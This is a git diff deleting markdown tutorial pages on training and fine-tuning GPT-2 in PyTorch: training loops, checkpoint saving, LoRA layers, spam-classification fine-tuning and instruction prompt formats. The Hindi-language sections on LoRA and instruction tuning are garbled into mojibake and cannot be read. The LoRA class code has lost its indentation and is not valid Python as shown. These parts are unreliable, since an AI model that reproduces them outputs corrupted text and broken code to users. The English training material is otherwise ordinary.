device to use and calculates a training loss and validation loss (without having trained anything yet) as a starting point. - -```python -# Indicate the device to use - -if torch.cuda.is_available(): - device = torch.device("cuda") -elif torch.backends.mps.is_available(): - device = torch.device("mps") -else: - device = torch.device("cpu") - -print(f"Using {device} device.") - -model.to(device) # no assignment model = model.to(device) necessary for nn.Module classes - -# Pre-calculate losses without starting yet -torch.manual_seed(123) # For reproducibility due to the shuffling in the data loader - -with torch.no_grad(): # Disable gradient tracking for efficiency because we are not training, yet - train_loss = calc_loss_loader(train_loader, model, device) - val_loss = calc_loss_loader(val_loader, model, device) - -print("Training loss:", train_loss) -print("Validation loss:", val_loss) -``` - -### Training functions - -The function `generate_and_print_sample` will just get a context and generate some tokens in order to get a feeling about how good is the model at that point. This is called by `train_model_simple` on each step. - -The function `evaluate_model` is called as frequently as indicate to the training function and it's used to measure the train loss and the validation loss at that point in the model training. - -Then the big function `train_model_simple` is the one that actually train the model. It expects: - -- The train data loader (with the data already separated and prepared for training) -- The validator loader -- The **optimizer** to use during training: This is the function that will use the gradients and will update the parameters to reduce the loss. In this case, as you will see, `AdamW` is used, but there are many more. - - `optimizer.zero_grad()` is called to reset the gradients on each round to not accumulate them. - - The **`lr`** param is the **learning rate** which determines the **size of the steps** taken during the optimization process when updating the model's parameters. A **smaller** learning rate means the optimizer **makes smaller updates** to the weights, which can lead to more **precise** convergence but might **slow down** training. A **larger** learning rate can speed up training but **risks overshooting** the minimum of the loss function (**jump over** the point where the loss function is minimized). - - **Weight Decay** modifies the **Loss Calculation** step by adding an extra term that penalizes large weights. This encourages the optimizer to find solutions with smaller weights, balancing between fitting the data well and keeping the model simple preventing overfitting in machine learning models by discouraging the model from assigning too much importance to any single feature. - - Traditional optimizers like SGD with L2 regularization couple weight decay with the gradient of the loss function. However, **AdamW** (a variant of Adam optimizer) decouples weight decay from the gradient update, leading to more effective regularization. -- The device to use for training -- The number of epochs: Number of times to go over the training data -- The evaluation frequency: The frequency to call `evaluate_model` -- The evaluation iteration: The number of batches to use when evaluating the current state of the model when calling `generate_and_print_sample` -- The start context: Which the starting sentence to use when calling `generate_and_print_sample` -- The tokenizer - -```python -# Functions to train the data -def train_model_simple(model, train_loader, val_loader, optimizer, device, num_epochs, - eval_freq, eval_iter, start_context, tokenizer): - # Initialize lists to track losses and tokens seen - train_losses, val_losses, track_tokens_seen = [], [], [] - tokens_seen, global_step = 0, -1 - - # Main training loop - for epoch in range(num_epochs): - model.train() # Set model to training mode - - for input_batch, target_batch in train_loader: - optimizer.zero_grad() # Reset loss gradients from previous batch iteration - loss = calc_loss_batch(input_batch, target_batch, model, device) - loss.backward() # Calculate loss gradients - optimizer.step() # Update model weights using loss gradients - tokens_seen += input_batch.numel() - global_step += 1 - - # Optional evaluation step - if global_step % eval_freq == 0: - train_loss, val_loss = evaluate_model( - model, train_loader, val_loader, device, eval_iter) - train_losses.append(train_loss) - val_losses.append(val_loss) - track_tokens_seen.append(tokens_seen) - print(f"Ep {epoch+1} (Step {global_step:06d}): " - f"Train loss {train_loss:.3f}, Val loss {val_loss:.3f}") - - # Print a sample text after each epoch - generate_and_print_sample( - model, tokenizer, device, start_context - ) - - return train_losses, val_losses, track_tokens_seen - - -def evaluate_model(model, train_loader, val_loader, device, eval_iter): - model.eval() # Set in eval mode to avoid dropout - with torch.no_grad(): - train_loss = calc_loss_loader(train_loader, model, device, num_batches=eval_iter) - val_loss = calc_loss_loader(val_loader, model, device, num_batches=eval_iter) - model.train() # Back to training model applying all the configurations - return train_loss, val_loss - - -def generate_and_print_sample(model, tokenizer, device, start_context): - model.eval() # Set in eval mode to avoid dropout - context_size = model.pos_emb.weight.shape[0] - encoded = text_to_token_ids(start_context, tokenizer).to(device) - with torch.no_grad(): - token_ids = generate_text( - model=model, idx=encoded, - max_new_tokens=50, context_size=context_size - ) - decoded_text = token_ids_to_text(token_ids, tokenizer) - print(decoded_text.replace("\n", " ")) # Compact print format - model.train() # Back to training model applying all the configurations -``` - -> [!NOTE] -> To improve the learning rate there are a couple relevant techniques called **linear warmup** and **cosine decay.** -> -> **Linear warmup** consist on define an initial learning rate and a maximum one and consistently update it after each epoch. This is because starting the training with smaller weight updates decreases the risk of the model encountering large, destabilizing updates during its training phase.\ -> **Cosine decay** is a technique that **gradually reduces the learning rate** following a half-cosine curve **after the warmup** phase, slowing weight updates to **minimize the risk of overshooting** the loss minima and ensure training stability in later phases. -> -> _Note that these improvements aren't included in the previous code._ - -### Start training - -```python -import time -start_time = time.time() - -torch.manual_seed(123) -model = GPTModel(GPT_CONFIG_124M) -model.to(device) -optimizer = torch.optim.AdamW(model.parameters(), lr=0.0004, weight_decay=0.1) - -num_epochs = 10 -train_losses, val_losses, tokens_seen = train_model_simple( - model, train_loader, val_loader, optimizer, device, - num_epochs=num_epochs, eval_freq=5, eval_iter=5, - start_context="Every effort moves you", tokenizer=tokenizer -) - -end_time = time.time() -execution_time_minutes = (end_time - start_time) / 60 -print(f"Training completed in {execution_time_minutes:.2f} minutes.") -``` - -### Print training evolution - -With the following function it's possible to print the evolution of the model while it was being trained. - -```python -import matplotlib.pyplot as plt -from matplotlib.ticker import MaxNLocator -import math -def plot_losses(epochs_seen, tokens_seen, train_losses, val_losses): - fig, ax1 = plt.subplots(figsize=(5, 3)) - ax1.plot(epochs_seen, train_losses, label="Training loss") - ax1.plot( - epochs_seen, val_losses, linestyle="-.", label="Validation loss" - ) - ax1.set_xlabel("Epochs") - ax1.set_ylabel("Loss") - ax1.legend(loc="upper right") - ax1.xaxis.set_major_locator(MaxNLocator(integer=True)) - ax2 = ax1.twiny() - ax2.plot(tokens_seen, train_losses, alpha=0) - ax2.set_xlabel("Tokens seen") - fig.tight_layout() - plt.show() - - # Compute perplexity from the loss values - train_ppls = [math.exp(loss) for loss in train_losses] - val_ppls = [math.exp(loss) for loss in val_losses] - # Plot perplexity over tokens seen - plt.figure() - plt.plot(tokens_seen, train_ppls, label='Training Perplexity') - plt.plot(tokens_seen, val_ppls, label='Validation Perplexity') - plt.xlabel('Tokens Seen') - plt.ylabel('Perplexity') - plt.title('Perplexity over Training') - plt.legend() - plt.show() - -epochs_tensor = torch.linspace(0, num_epochs, len(train_losses)) -plot_losses(epochs_tensor, tokens_seen, train_losses, val_losses) -``` - -### Save the model - -It's possible to save the model + optimizer if you want to continue training later: - -```python -# Save the model and the optimizer for later training -torch.save({ - "model_state_dict": model.state_dict(), - "optimizer_state_dict": optimizer.state_dict(), - }, -"/tmp/model_and_optimizer.pth" -) -# Note that this model with the optimizer occupied close to 2GB - -# Restore model and optimizer for training -checkpoint = torch.load("/tmp/model_and_optimizer.pth", map_location=device) - -model = GPTModel(GPT_CONFIG_124M) -model.load_state_dict(checkpoint["model_state_dict"]) -optimizer = torch.optim.AdamW(model.parameters(), lr=5e-4, weight_decay=0.1) -optimizer.load_state_dict(checkpoint["optimizer_state_dict"]) -model.train(); # Put in training mode -``` - -Or just the model if you are planing just on using it: - -```python -# Save the model -torch.save(model.state_dict(), "model.pth") - -# Load it -model = GPTModel(GPT_CONFIG_124M) - -model.load_state_dict(torch.load("model.pth", map_location=device)) - -model.eval() # Put in eval mode -``` - -## Loading GPT2 weights - -There 2 quick scripts to load the GPT2 weights locally. For both you can clone the repository [https://github.com/rasbt/LLMs-from-scratch](https://github.com/rasbt/LLMs-from-scratch) locally, then: - -- The script [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/01_main-chapter-code/gpt_generate.py](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/01_main-chapter-code/gpt_generate.py) will download all the weights and transform the formats from OpenAI to the ones expected by our LLM. The script is also prepared with the needed configuration and with the prompt: "Every effort moves you" -- The script [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/02_alternative_weight_loading/weight-loading-hf-transformers.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/02_alternative_weight_loading/weight-loading-hf-transformers.ipynb) allows you to load any of the GPT2 weights locally (just change the `CHOOSE_MODEL` var) and predict text from some prompts. - -## References - -- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch) - diff --git a/src/todo/llm-training-data-preparation/7.0.-lora-improvements-in-fine-tuning.md b/src/todo/llm-training-data-preparation/7.0.-lora-improvements-in-fine-tuning.md deleted file mode 100644 index 792a4d2ec..000000000 --- a/src/todo/llm-training-data-preparation/7.0.-lora-improvements-in-fine-tuning.md +++ /dev/null @@ -1,61 +0,0 @@ -# 7.0. LoRA рд╕реБрдзрд╛рд░ рдлрд╛рдЗрди-рдЯреНрдпреВрдирд┐рдВрдЧ рдореЗрдВ - -## LoRA рд╕реБрдзрд╛рд░ - -> [!TIP] -> **LoRA рдХрд╛ рдЙрдкрдпреЛрдЧ рдмрд╣реБрдд рдЕрдзрд┐рдХ рдЧрдгрдирд╛ рдХреЛ рдХрдо рдХрд░рддрд╛ рд╣реИ** рдЬреЛ рдкрд╣рд▓реЗ рд╕реЗ рдкреНрд░рд╢рд┐рдХреНрд╖рд┐рдд рдореЙрдбрд▓реЛрдВ рдХреЛ **рдлрд╛рдЗрди рдЯреНрдпреВрди** рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рд╣реИред - -LoRA **рдмрдбрд╝реЗ рдореЙрдбрд▓реЛрдВ** рдХреЛ рдкреНрд░рднрд╛рд╡реА рдврдВрдЧ рд╕реЗ рдлрд╛рдЗрди-рдЯреНрдпреВрди рдХрд░рдирд╛ рд╕рдВрднрд╡ рдмрдирд╛рддрд╛ рд╣реИ, рдХреЗрд╡рд▓ **рдЫреЛрдЯреА рднрд╛рдЧ** рдХреЛ рдмрджрд▓рдХрд░ред рдпрд╣ рдЙрди рдкреИрд░рд╛рдореАрдЯрд░ рдХреА рд╕рдВрдЦреНрдпрд╛ рдХреЛ рдХрдо рдХрд░рддрд╛ рд╣реИ рдЬрд┐рдиреНрд╣реЗрдВ рдЖрдкрдХреЛ рдкреНрд░рд╢рд┐рдХреНрд╖рд┐рдд рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ, **рдореЗрдореЛрд░реА** рдФрд░ **рдЧрдгрдирд╛рддреНрдордХ рд╕рдВрд╕рд╛рдзрдиреЛрдВ** рдХреА рдмрдЪрдд рдХрд░рддрд╛ рд╣реИред рдЗрд╕рдХрд╛ рдХрд╛рд░рдг рд╣реИ: - -1. **рдкреНрд░рд╢рд┐рдХреНрд╖рдг рдпреЛрдЧреНрдп рдкреИрд░рд╛рдореАрдЯрд░ рдХреА рд╕рдВрдЦреНрдпрд╛ рдХреЛ рдХрдо рдХрд░рддрд╛ рд╣реИ**: рдореЙрдбрд▓ рдореЗрдВ рдкреВрд░реЗ рд╡реЗрдЯ рдореИрдЯреНрд░рд┐рдХреНрд╕ рдХреЛ рдЕрдкрдбреЗрдЯ рдХрд░рдиреЗ рдХреЗ рдмрдЬрд╛рдп, LoRA **рд╡реЗрдЯ рдореИрдЯреНрд░рд┐рдХреНрд╕** рдХреЛ рджреЛ рдЫреЛрдЯреЗ рдореИрдЯреНрд░рд┐рдХреНрд╕ (рдЬрд┐рдиреНрд╣реЗрдВ **A** рдФрд░ **B** рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИ) рдореЗрдВ рд╡рд┐рднрд╛рдЬрд┐рдд рдХрд░рддрд╛ рд╣реИред рдЗрд╕рд╕реЗ рдкреНрд░рд╢рд┐рдХреНрд╖рдг **рддреЗрдЬрд╝** рд╣реЛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ **рдХрдо рдореЗрдореЛрд░реА** рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдХрдо рдкреИрд░рд╛рдореАрдЯрд░ рдХреЛ рдЕрдкрдбреЗрдЯ рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИред - -1. рдЗрд╕рдХрд╛ рдХрд╛рд░рдг рдпрд╣ рд╣реИ рдХрд┐ рдПрдХ рдкрд░рдд (рдореИрдЯреНрд░рд┐рдХреНрд╕) рдХреЗ рдкреВрд░реНрдг рд╡реЗрдЯ рдЕрдкрдбреЗрдЯ рдХреА рдЧрдгрдирд╛ рдХрд░рдиреЗ рдХреЗ рдмрдЬрд╛рдп, рдпрд╣ рдЗрд╕реЗ 2 рдЫреЛрдЯреЗ рдореИрдЯреНрд░рд┐рдХреНрд╕ рдХреЗ рдЙрддреНрдкрд╛рдж рдХреЗ рд░реВрдк рдореЗрдВ рдЕрдиреБрдорд╛рдирд┐рдд рдХрд░рддрд╛ рд╣реИ, рдЕрдкрдбреЗрдЯ рдХреЛ рдЧрдгрдирд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрдо рдХрд░ рджреЗрддрд╛ рд╣реИ:\ - -
- -2. **рдореВрд▓ рдореЙрдбрд▓ рд╡реЗрдЯ рдХреЛ рдЕрдкрд░рд┐рд╡рд░реНрддрд┐рдд рд░рдЦрддрд╛ рд╣реИ**: LoRA рдЖрдкрдХреЛ рдореВрд▓ рдореЙрдбрд▓ рд╡реЗрдЯ рдХреЛ рд╕рдорд╛рди рд░рдЦрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ, рдФрд░ рдХреЗрд╡рд▓ **рдирдП рдЫреЛрдЯреЗ рдореИрдЯреНрд░рд┐рдХреНрд╕** (A рдФрд░ B) рдХреЛ рдЕрдкрдбреЗрдЯ рдХрд░рддрд╛ рд╣реИред рдпрд╣ рд╕рд╣рд╛рдпрдХ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ рдореЙрдбрд▓ рдХрд╛ рдореВрд▓ рдЬреНрдЮрд╛рди рд╕рдВрд░рдХреНрд╖рд┐рдд рд╣реИ, рдФрд░ рдЖрдк рдХреЗрд╡рд▓ рдЖрд╡рд╢реНрдпрдХ рдЪреАрдЬреЛрдВ рдХреЛ рд╕рдорд╛рдпреЛрдЬрд┐рдд рдХрд░рддреЗ рд╣реИрдВред -3. **рдХреБрд╢рд▓ рдХрд╛рд░реНрдп-рд╡рд┐рд╢рд┐рд╖реНрдЯ рдлрд╛рдЗрди-рдЯреНрдпреВрдирд┐рдВрдЧ**: рдЬрдм рдЖрдк рдореЙрдбрд▓ рдХреЛ **рдирдП рдХрд╛рд░реНрдп** рдХреЗ рд▓рд┐рдП рдЕрдиреБрдХреВрд▓рд┐рдд рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ, рддреЛ рдЖрдк рдХреЗрд╡рд▓ **рдЫреЛрдЯреЗ LoRA рдореИрдЯреНрд░рд┐рдХреНрд╕** (A рдФрд░ B) рдХреЛ рдкреНрд░рд╢рд┐рдХреНрд╖рд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬрдмрдХрд┐ рдмрд╛рдХреА рдореЙрдбрд▓ рдХреЛ рд╡реИрд╕рд╛ рд╣реА рдЫреЛрдбрд╝ рд╕рдХрддреЗ рд╣реИрдВред рдпрд╣ рдкреВрд░реЗ рдореЙрдбрд▓ рдХреЛ рдлрд┐рд░ рд╕реЗ рдкреНрд░рд╢рд┐рдХреНрд╖рд┐рдд рдХрд░рдиреЗ рдХреА рддреБрд▓рдирд╛ рдореЗрдВ **рдмрд╣реБрдд рдЕрдзрд┐рдХ рдХреБрд╢рд▓** рд╣реИред -4. **рд╕реНрдЯреЛрд░реЗрдЬ рджрдХреНрд╖рддрд╛**: рдлрд╛рдЗрди-рдЯреНрдпреВрдирд┐рдВрдЧ рдХреЗ рдмрд╛рдж, рдкреНрд░рддреНрдпреЗрдХ рдХрд╛рд░реНрдп рдХреЗ рд▓рд┐рдП **рдПрдХ рдирдпрд╛ рдкреВрд░рд╛ рдореЙрдбрд▓** рд╕рд╣реЗрдЬрдиреЗ рдХреЗ рдмрдЬрд╛рдп, рдЖрдкрдХреЛ рдХреЗрд╡рд▓ **LoRA рдореИрдЯреНрд░рд┐рдХреНрд╕** рдХреЛ рд╕реНрдЯреЛрд░ рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ, рдЬреЛ рдкреВрд░реЗ рдореЙрдбрд▓ рдХреА рддреБрд▓рдирд╛ рдореЗрдВ рдмрд╣реБрдд рдЫреЛрдЯреЗ рд╣реЛрддреЗ рд╣реИрдВред рдЗрд╕рд╕реЗ рдХрдИ рдХрд╛рд░реНрдпреЛрдВ рдХреЗ рд▓рд┐рдП рдореЙрдбрд▓ рдХреЛ рдЕрдиреБрдХреВрд▓рд┐рдд рдХрд░рдирд╛ рдЖрд╕рд╛рди рд╣реЛ рдЬрд╛рддрд╛ рд╣реИ рдмрд┐рдирд╛ рдмрд╣реБрдд рдЕрдзрд┐рдХ рд╕реНрдЯреЛрд░реЗрдЬ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдПред - -рдлрд╛рдЗрди рдЯреНрдпреВрдирд┐рдВрдЧ рдХреЗ рджреМрд░рд╛рди Linear рдХреЗ рдмрдЬрд╛рдп LoraLayers рдХреЛ рд▓рд╛рдЧреВ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдпрд╣рд╛рдВ рдпрд╣ рдХреЛрдб рдкреНрд░рд╕реНрддрд╛рд╡рд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ [https://github.com/rasbt/LLMs-from-scratch/blob/main/appendix-E/01_main-chapter-code/appendix-E.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/appendix-E/01_main-chapter-code/appendix-E.ipynb): -```python -import math - -# Create the LoRA layer with the 2 matrices and the alpha -class LoRALayer(torch.nn.Module): -def __init__(self, in_dim, out_dim, rank, alpha): -super().__init__() -self.A = torch.nn.Parameter(torch.empty(in_dim, rank)) -torch.nn.init.kaiming_uniform_(self.A, a=math.sqrt(5)) # similar to standard weight initialization -self.B = torch.nn.Parameter(torch.zeros(rank, out_dim)) -self.alpha = alpha - -def forward(self, x): -x = self.alpha * (x @ self.A @ self.B) -return x - -# Combine it with the linear layer -class LinearWithLoRA(torch.nn.Module): -def __init__(self, linear, rank, alpha): -super().__init__() -self.linear = linear -self.lora = LoRALayer( -linear.in_features, linear.out_features, rank, alpha -) - -def forward(self, x): -return self.linear(x) + self.lora(x) - -# Replace linear layers with LoRA ones -def replace_linear_with_lora(model, rank, alpha): -for name, module in model.named_children(): -if isinstance(module, torch.nn.Linear): -# Replace the Linear layer with LinearWithLoRA -setattr(model, name, LinearWithLoRA(module, rank, alpha)) -else: -# Recursively apply the same function to child modules -replace_linear_with_lora(module, rank, alpha) -``` -## рд╕рдВрджрд░реНрдн - -- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch) diff --git a/src/todo/llm-training-data-preparation/7.1.-fine-tuning-for-classification.md b/src/todo/llm-training-data-preparation/7.1.-fine-tuning-for-classification.md deleted file mode 100644 index 447524b91..000000000 --- a/src/todo/llm-training-data-preparation/7.1.-fine-tuning-for-classification.md +++ /dev/null @@ -1,117 +0,0 @@ -# 7.1. Fine-Tuning for Classification - -## What is - -Fine-tuning is the process of taking a **pre-trained model** that has learned **general language patterns** from vast amounts of data and **adapting** it to perform a **specific task** or to understand domain-specific language. This is achieved by continuing the training of the model on a smaller, task-specific dataset, allowing it to adjust its parameters to better suit the nuances of the new data while leveraging the broad knowledge it has already acquired. Fine-tuning enables the model to deliver more accurate and relevant results in specialized applications without the need to train a new model from scratch. - -> [!NOTE] -> As pre-training a LLM that "understands" the text is pretty expensive it's usually easier and cheaper to to fine-tune open source pre-trained models to perform a specific task we want it to perform. - -> [!TIP] -> The goal of this section is to show how to fine-tune an already pre-trained model so instead of generating new text the LLM will select give the **probabilities of the given text being categorized in each of the given categories** (like if a text is spam or not). - -## Preparing the data set - -### Data set size - -Of course, in order to fine-tune a model you need some structured data to use to specialise your LLM. In the example proposed in [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb), GPT2 is fine tuned to detect if an email is spam or not using the data from [https://archive.ics.uci.edu/static/public/228/sms+spam+collection.zip](https://archive.ics.uci.edu/static/public/228/sms+spam+collection.zip)_._ - -This data set contains much more examples of "not spam" that of "spam", therefore the book suggest to **only use as many examples of "not spam" as of "spam"** (therefore, removing from the training data all the extra examples). In this case, this was 747 examples of each. - -Then, **70%** of the data set is used for **training**, **10%** for **validation** and **20%** for **testing**. - -- The **validation set** is used during the training phase to fine-tune the model's **hyperparameters** and make decisions about model architecture, effectively helping to prevent overfitting by providing feedback on how the model performs on unseen data. It allows for iterative improvements without biasing the final evaluation. - - This means that although the data included in this data set is not used for the training directly, it's used to tune the best **hyperparameters**, so this set cannot be used to evaluate the performance of the model like the testing one. -- In contrast, the **test set** is used **only after** the model has been fully trained and all adjustments are complete; it provides an unbiased assessment of the model's ability to generalize to new, unseen data. This final evaluation on the test set gives a realistic indication of how the model is expected to perform in real-world applications. - -### Entries length - -As the training example expects entries (emails text in this case) of the same length, it was decided to make every entry as large as the largest one by adding the ids of `<|endoftext|>` as padding. - -### Initialize the model - -Using the open-source pre-trained weights initialize the model to train. We have already done this before and follow the instructions of [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb) you can easily do it. - -## Classification head - -In this specific example (predicting if a text is spam or not), we are not interested in fine tune according to the complete vocabulary of GPT2 but we only want the new model to say if the email is spam (1) or not (0). Therefore, we are going to **modify the final layer that** gives the probabilities per token of the vocabulary for one that only gives the probabilities of being spam or not (so like a vocabulary of 2 words). - -```python -# This code modified the final layer with a Linear one with 2 outs -num_classes = 2 -model.out_head = torch.nn.Linear( - -in_features=BASE_CONFIG["emb_dim"], - -out_features=num_classes -) -``` - -## Parameters to tune - -In order to fine tune fast it's easier to not fine tune all the parameters but only some final ones. This is because it's known that the lower layers generally capture basic language structures and semantics applicable. So, just **fine tuning the last layers is usually enough and faster**. - -```python -# This code makes all the parameters of the model unrtainable -for param in model.parameters(): - param.requires_grad = False - -# Allow to fine tune the last layer in the transformer block -for param in model.trf_blocks[-1].parameters(): - param.requires_grad = True - -# Allow to fine tune the final layer norm -for param in model.final_norm.parameters(): - -param.requires_grad = True -``` - -## Entries to use for training - -In previos sections the LLM was trained reducing the loss of every predicted token, even though almost all the predicted tokens were in the input sentence (only 1 at the end was really predicted) in order for the model to understand better the language. - -In this case we only care on the model being able to predict if the model is spam or not, so we only care about the last token predicted. Therefore, it's needed to modify out previous training loss functions to only take into account that token. - -This is implemented in [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb) as: - -```python -def calc_accuracy_loader(data_loader, model, device, num_batches=None): - model.eval() - correct_predictions, num_examples = 0, 0 - - if num_batches is None: - num_batches = len(data_loader) - else: - num_batches = min(num_batches, len(data_loader)) - for i, (input_batch, target_batch) in enumerate(data_loader): - if i < num_batches: - input_batch, target_batch = input_batch.to(device), target_batch.to(device) - - with torch.no_grad(): - logits = model(input_batch)[:, -1, :] # Logits of last output token - predicted_labels = torch.argmax(logits, dim=-1) - - num_examples += predicted_labels.shape[0] - correct_predictions += (predicted_labels == target_batch).sum().item() - else: - break - return correct_predictions / num_examples - - -def calc_loss_batch(input_batch, target_batch, model, device): - input_batch, target_batch = input_batch.to(device), target_batch.to(device) - logits = model(input_batch)[:, -1, :] # Logits of last output token - loss = torch.nn.functional.cross_entropy(logits, target_batch) - return loss -``` - -Note how for each batch we are only interested in the **logits of the last token predicted**. - -## Complete GPT2 fine-tune classification code - -You can find all the code to fine-tune GPT2 to be a spam classifier in [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/load-finetuned-model.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/load-finetuned-model.ipynb) - -## References - -- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch) - diff --git a/src/todo/llm-training-data-preparation/7.2.-fine-tuning-to-follow-instructions.md b/src/todo/llm-training-data-preparation/7.2.-fine-tuning-to-follow-instructions.md deleted file mode 100644 index 196cf065b..000000000 --- a/src/todo/llm-training-data-preparation/7.2.-fine-tuning-to-follow-instructions.md +++ /dev/null @@ -1,100 +0,0 @@ -# 7.2. рдирд┐рд░реНрджреЗрд╢реЛрдВ рдХрд╛ рдкрд╛рд▓рди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдлрд╛рдЗрди-рдЯреНрдпреВрдирд┐рдВрдЧ - -> [!TIP] -> рдЗрд╕ рдЕрдиреБрднрд╛рдЧ рдХрд╛ рд▓рдХреНрд╖реНрдп рдпрд╣ рджрд┐рдЦрд╛рдирд╛ рд╣реИ рдХрд┐ **рдХреИрд╕реЗ рдкрд╣рд▓реЗ рд╕реЗ рдкреНрд░рд╢рд┐рдХреНрд╖рд┐рдд рдореЙрдбрд▓ рдХреЛ рдирд┐рд░реНрджреЗрд╢реЛрдВ рдХрд╛ рдкрд╛рд▓рди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдлрд╛рдЗрди-рдЯреНрдпреВрди рдХрд┐рдпрд╛ рдЬрд╛рдП** рди рдХрд┐ рдХреЗрд╡рд▓ рдкрд╛рда рдЙрддреНрдкрдиреНрди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдПрдХ рдЪреИрдЯ рдмреЙрдЯ рдХреЗ рд░реВрдк рдореЗрдВ рдХрд╛рд░реНрдпреЛрдВ рдХрд╛ рдЙрддреНрддрд░ рджреЗрдирд╛ред - -## рдбреЗрдЯрд╛рд╕реЗрдЯ - -рдПрдХ LLM рдХреЛ рдирд┐рд░реНрджреЗрд╢реЛрдВ рдХрд╛ рдкрд╛рд▓рди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдлрд╛рдЗрди-рдЯреНрдпреВрди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, LLM рдХреЛ рдлрд╛рдЗрди-рдЯреНрдпреВрди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдирд┐рд░реНрджреЗрд╢реЛрдВ рдФрд░ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЗ рд╕рд╛рде рдПрдХ рдбреЗрдЯрд╛рд╕реЗрдЯ рд╣реЛрдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИред рдирд┐рд░реНрджреЗрд╢реЛрдВ рдХрд╛ рдкрд╛рд▓рди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП LLM рдХреЛ рдкреНрд░рд╢рд┐рдХреНрд╖рд┐рдд рдХрд░рдиреЗ рдХреЗ рд╡рд┐рднрд┐рдиреНрди рдкреНрд░рд╛рд░реВрдк рд╣реИрдВ, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП: - -- Apply Alpaca рдкреНрд░реЙрдореНрдкреНрдЯ рд╢реИрд▓реА рдХрд╛ рдЙрджрд╛рд╣рд░рдг: -```csharp -Below is an instruction that describes a task. Write a response that appropriately completes the request. - -### Instruction: -Calculate the area of a circle with a radius of 5 units. - -### Response: -The area of a circle is calculated using the formula \( A = \pi r^2 \). Plugging in the radius of 5 units: - -\( A = \pi (5)^2 = \pi \times 25 = 25\pi \) square units. -``` -- Phi-3 рдкреНрд░реЙрдореНрдкреНрдЯ рд╕реНрдЯрд╛рдЗрд▓ рдЙрджрд╛рд╣рд░рдг: -```vbnet -<|User|> -Can you explain what gravity is in simple terms? - -<|Assistant|> -Absolutely! Gravity is a force that pulls objects toward each other. -``` -рдПрдХ LLM рдХреЛ рдЗрд╕ рддрд░рд╣ рдХреЗ рдбреЗрдЯрд╛ рд╕реЗрдЯ рдХреЗ рд╕рд╛рде рдкреНрд░рд╢рд┐рдХреНрд╖рд┐рдд рдХрд░рдирд╛, рдХреЗрд╡рд▓ рдХрдЪреНрдЪреЗ рдкрд╛рда рдХреЗ рдмрдЬрд╛рдп, LLM рдХреЛ рдпрд╣ рд╕рдордЭрдиреЗ рдореЗрдВ рдорджрдж рдХрд░рддрд╛ рд╣реИ рдХрд┐ рдЙрд╕реЗ рдкреНрд░рд╛рдкреНрдд рдкреНрд░рд╢реНрдиреЛрдВ рдХреЗ рд▓рд┐рдП рд╡рд┐рд╢рд┐рд╖реНрдЯ рдЙрддреНрддрд░ рджреЗрдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред - -рдЗрд╕рд▓рд┐рдП, рдПрдХ рдбреЗрдЯрд╛ рд╕реЗрдЯ рдХреЗ рд╕рд╛рде рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкрд╣рд▓реА рдЪреАрдЬреЛрдВ рдореЗрдВ рд╕реЗ рдПрдХ рдЬреЛ рдЕрдиреБрд░реЛрдзреЛрдВ рдФрд░ рдЙрддреНрддрд░реЛрдВ рдХреЛ рд╢рд╛рдорд┐рд▓ рдХрд░рддрд╛ рд╣реИ, рд╡рд╣ 